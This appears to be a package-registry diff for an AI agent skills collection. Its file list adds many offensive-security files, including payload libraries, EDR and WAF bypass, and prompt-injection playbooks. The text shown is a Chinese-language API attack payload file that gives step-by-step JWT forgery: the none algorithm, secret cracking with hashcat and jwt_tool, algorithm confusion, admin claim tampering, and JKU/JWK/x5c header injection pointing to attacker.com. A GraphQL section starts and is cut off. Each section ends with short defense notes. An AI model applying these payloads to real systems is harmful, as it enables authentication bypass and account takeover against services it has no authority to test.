opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,1935 @@
1
+ # API安全
2
+
3
+ _12 条 web payload_
4
+
5
+ ### JWT安全漏洞 `jwt-security`
6
+ _JSON Web Token安全漏洞利用_
7
+ 子类:**JWT** · tags: `jwt` `token` `authentication`
8
+
9
+ **前置条件:**
10
+ - 使用JWT进行认证
11
+ - JWT配置或验证存在问题
12
+
13
+ **攻击链:**
14
+
15
+ **1. 解码JWT**
16
+ > 解码JWT内容
17
+ ```
18
+ JWT格式: header.payload.signature
19
+ 解码:
20
+ echo "HEADER" | base64 -d
21
+ echo "PAYLOAD" | base64 -d
22
+ 或使用jwt.io
23
+ ```
24
+ **语法解析:**
25
+ - `header` — 算法和令牌类型 _value_
26
+ - `payload` — 声明数据 _value_
27
+ - `signature` — 签名验证 _value_
28
+
29
+ **2. None算法攻击**
30
+ > 使用None算法绕过签名验证
31
+ ```
32
+ 修改header为:
33
+ {"alg":"none","typ":"JWT"}
34
+ Base64编码后构造:
35
+ HEADER.PAYLOAD.
36
+ (签名部分为空)
37
+ ```
38
+ **语法解析:**
39
+ - `"alg":"none"` — 指定无签名算法 _value_
40
+
41
+ **3. 弱密钥破解**
42
+ > 破解弱密钥
43
+ ```
44
+ 使用hashcat破解:
45
+ hashcat -m 16500 jwt.txt wordlist.txt
46
+ 使用jwt_tool:
47
+ python3 jwt_tool.py JWT_TOKEN -C -d wordlist.txt
48
+ ```
49
+ **语法解析:**
50
+ - `-m 16500` — hashcat JWT模式 _value_
51
+
52
+ **4. 密钥混淆攻击**
53
+ > 算法混淆攻击
54
+ ```
55
+ 将RS256算法改为HS256:
56
+ {"alg":"HS256","typ":"JWT"}
57
+ 使用公钥作为HMAC密钥签名
58
+ ```
59
+ **语法解析:**
60
+ - `RS256` — RSA非对称算法 _value_
61
+ - `HS256` — HMAC对称算法 _value_
62
+
63
+ **5. 修改Payload**
64
+ > 修改JWT声明
65
+ ```
66
+ 修改payload中的用户信息:
67
+ {"sub":"admin","iat":1234567890}
68
+ 重新编码并使用已知密钥签名
69
+ ```
70
+ **语法解析:**
71
+ - `sub` — Subject声明,通常是用户ID _value_
72
+ - `iat` — 签发时间 _value_
73
+
74
+ **WAF/EDR 绕过变体:**
75
+
76
+ **JWK/JKU头部注入**
77
+ > 通过在JWT Header中注入jwk(内嵌密钥)或jku(远程密钥集URL)指向攻击者控制的密钥,使服务端使用攻击者密钥验证签名
78
+ ```
79
+ # JWK内嵌公钥注入:
80
+ # 在JWT Header中嵌入攻击者的公钥:
81
+ {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"attacker_n","e":"AQAB"}}
82
+ # 服务端使用Header中的JWK验证签名
83
+
84
+ # JKU远程密钥集注入:
85
+ {"alg":"RS256","typ":"JWT","jku":"http://attacker.com/.well-known/jwks.json"}
86
+ # 服务端从攻击者控制的URL获取密钥
87
+ ```
88
+ **语法解析:**
89
+ - `# JWK内嵌公钥注入:` — 主要命令 _command_
90
+ - `...` — 共7行 _value_
91
+
92
+ **x5c证书链注入**
93
+ > 通过x5c头部注入攻击者自签证书链,使服务端从证书中提取公钥进行验证,攻击者用对应私钥签名即可伪造任意JWT
94
+ ```
95
+ # 生成自签名证书:
96
+ openssl req -x509 -nodes -newkey rsa:2048 -keyout attacker.key -out attacker.crt -subj "/CN=attacker"
97
+
98
+ # 构造JWT Header:
99
+ {"alg":"RS256","x5c":["ATTACKER_CERT_BASE64"]}
100
+
101
+ # 用攻击者私钥签名,x5c中放入攻击者证书
102
+ # 服务端从x5c提取公钥验证签名,攻击者自签即可通过
103
+
104
+ # 使用jwt_tool:
105
+ python3 jwt_tool.py <token> -X s -pr attacker.key
106
+ ```
107
+ **语法解析:**
108
+ - `# 生成自签名证书:` — 主要命令 _command_
109
+ - `...` — 共8行 _value_
110
+
111
+
112
+ **概述:** JWT(JSON Web Token)是现代Web应用中最常用的认证机制,其安全漏洞包括算法混淆(none/HS256→RS256)、密钥爆破、未验证签名、声明篡改等,可导致认证绕过和权限提升。
113
+
114
+ **漏洞原理:** JWT安全漏洞:1)alg:none漏洞(不验证签名) 2)HS256/RS256算法混淆(用公钥作HMAC密钥) 3)弱密钥可被字典爆破 4)未验证exp导致永不过期 5)kid参数注入(目录遍历/SQL注入) 6)jku/x5u头指向恶意密钥。
115
+
116
+ **利用方法:** 完整利用流程:
117
+ 1. 获取JWT Token
118
+ 2. 解码分析内容
119
+ 3. 尝试None算法绕过
120
+ 4. 尝试破解弱密钥
121
+ 5. 修改Payload提权
122
+
123
+ **防御措施:** 防御措施:
124
+ 1. 使用强密钥
125
+ 2. 禁用None算法
126
+ 3. 正确验证签名
127
+ 4. 设置合理的过期时间
128
+ 5. 使用HTTPS传输
129
+
130
+ ---
131
+
132
+ ### GraphQL注入攻击 `graphql-injection`
133
+ _GraphQL API注入与信息泄露攻击_
134
+ 子类:**GraphQL** · tags: `graphql` `api` `injection` `introspection`
135
+
136
+ **前置条件:**
137
+ - 目标使用GraphQL API
138
+ - 存在未授权访问或注入点
139
+
140
+ **攻击链:**
141
+
142
+ **1. 探测GraphQL端点**
143
+ > 探测GraphQL端点
144
+ ```
145
+ # 常见GraphQL端点
146
+ /graphql
147
+ /api/graphql
148
+ /graphql/api
149
+ /query
150
+ /graphql.php
151
+
152
+ # 发送POST请求
153
